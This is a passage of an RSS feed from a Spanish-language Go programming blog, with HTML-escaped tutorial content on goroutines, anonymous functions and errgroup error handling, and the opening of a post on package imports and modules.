style=&#34;color:#57c7ff&#34;&gt;escribirEnCanal&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Ge&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;wg)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;funciones-anonimas-en-goroutines&#34;&gt;Funciones anónimas en goroutines&lt;/h3&gt;&#xA;&lt;p&gt;Cuando se usan gorutinas, es bastante común utilizar funciones anónimas para evitar declarar una función nueva.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Recuerda que los paréntesis que aparecen tras el cuerpo de la función ejecutan la función anónima que declaramos y también reciben sus argumentos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Texto&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;como-gestionar-errores-en-goroutines-con-errgroup&#34;&gt;Cómo gestionar errores en goroutines con errgroup&lt;/h2&gt;&#xA;&lt;p&gt;Dentro de las goroutines, las cosas pueden salir mal. ¿Cómo podemos manejar estas situaciones? En lugar de llamar a nuestra goroutines con &lt;em&gt;go&lt;/em&gt;, crearemos un errgroup. Este errgroup tendrá una función llamada go, cuyo propósito es llamar a cualquier función que pasemos como goroutines. La función debe devolver un error.&lt;/p&gt;&#xA;&lt;p&gt;Funciona exactamente igual que un sync group en Go: esperará a todas las goroutines y, si encuentra un error, podremos gestionarlo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;context&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;errors&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;golang.org/x/sync/errgroup&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;group, _ &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; errgroup.&lt;span style=&#34;color:#57c7ff&#34;&gt;WithContext&lt;/span&gt;(context.&lt;span style=&#34;color:#57c7ff&#34;&gt;Background&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;group.&lt;span style=&#34;color:#57c7ff&#34;&gt;Go&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;error&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; errors.&lt;span style=&#34;color:#57c7ff&#34;&gt;New&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;new error inside goroutine&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; err &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; group.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;(); err &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Group finished but with error: %v\n&amp;#34;&lt;/span&gt;, err)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;} &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;All tasks completed successfully with no errors&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;usando-contexto-en-errgroup&#34;&gt;Usando contexto en errgroup&lt;/h3&gt;&#xA;&lt;p&gt;También podemos usar el contexto como su segundo parámetro para devolver el error de cancelación de contexto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  group, ctx &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; errgroup.&lt;span style=&#34;color:#57c7ff&#34;&gt;WithContext&lt;/span&gt;(context.&lt;span style=&#34;color:#57c7ff&#34;&gt;Background&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;group.&lt;span style=&#34;color:#57c7ff&#34;&gt;Go&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;error&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Errorf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;an error occurred&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;group.&lt;span style=&#34;color:#57c7ff&#34;&gt;Go&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;error&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;select&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;time.&lt;span style=&#34;color:#57c7ff&#34;&gt;After&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; time.Millisecond):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;If there is an error this won&amp;#39;t be executed. If there is no error expect this message to be on the screen&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;ctx.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Context cancelled because errgroup found and error. We couldn&amp;#39;t wait 200 ms&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; ctx.&lt;span style=&#34;color:#57c7ff&#34;&gt;Err&lt;/span&gt;() &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si cambias el primer error a &lt;em&gt;nil&lt;/em&gt;, verás que la goroutine retrasada se ejecutará normalmente y no se mostrará el mensaje de contexto.&lt;/p&gt;&#xA;&lt;h2 id=&#34;mas-recursos-sobre-goroutines&#34;&gt;Más recursos sobre goroutines&lt;/h2&gt;&#xA;&lt;p&gt;Para finalizar te dejo algunos otros recursos sobre gorutinas que puedes consultar.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/tour/concurrency/1&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Docs&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://golangbot.com/goroutines/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Goroutines&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=f6kdp27TYZs&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Goroutines por google devs&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Como te mencioné en la introducción al lenguaje de programación go: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;go es un lenguaje especializado en la concurrencia&lt;/a&gt;&#xA;. Es un lenguaje que fue diseñado para manejar múltiples tareas de manera asíncrona. Esta entrada trata sobre los channels o canales de go.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: importación de paquetes y manejo de modulos</title>
      <link>https://coffeebytes.dev/es/go/go-importacion-de-paquetes-y-manejo-de-modulos/</link>
      <pubDate>Wed, 12 Jan 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-importacion-de-paquetes-y-manejo-de-modulos/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En go &lt;strong&gt;puedes considerar un paquete como todos los archivos que contenga un directorio y un modulo como una colección de paquetes&lt;/strong&gt;. Para usar el código de un paquete necesitamos importarlo, sin embargo, en Go no existen las importaciones de módulos relativas. Antes de Go 1.8, para importar paquetes (no había modulos) era necesario usar la ruta absoluta, considerando como base la ruta a la que apuntaba la variable de entorno $&lt;em&gt;GOPATH&lt;/em&gt; o. A partir de Go 1.11, la manera más sencilla de trabajar con paquetes es usar go mod. Te explicaré esta última.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/modulo-y-paquetes-en-go.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/modulo-y-paquetes-en-go.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diferencias entre modulos y paquetes en go&#34; width=&#34;318&#34; height=&#34;148&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Diferencia entre modulos y paquetes en go&lt;/p&gt;&#xA;&lt;h2 id=&#34;definir-el-nombre-de-un-paquete-en-go&#34;&gt;Definir el nombre de un paquete en Go&lt;/h2&gt;&#xA;&lt;p&gt;Antes de empezar, ¿recuerdas que te comenté en la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;introducción al lenguaje de programación Go&lt;/a&gt;&#xA;, que el nombre de cada paquete se establece al principio de cada archivo, colocándolo después de la palabra reservada &lt;em&gt;package&lt;/em&gt;?&lt;/p&gt;&#xA;&lt;p&gt;Para este ejemplo el nombre del paquete será &lt;em&gt;videogame&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Una vez definido, crearé un modelo o struct en &lt;em&gt;videogame.go&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//videogame/videogame.go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Videogame &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 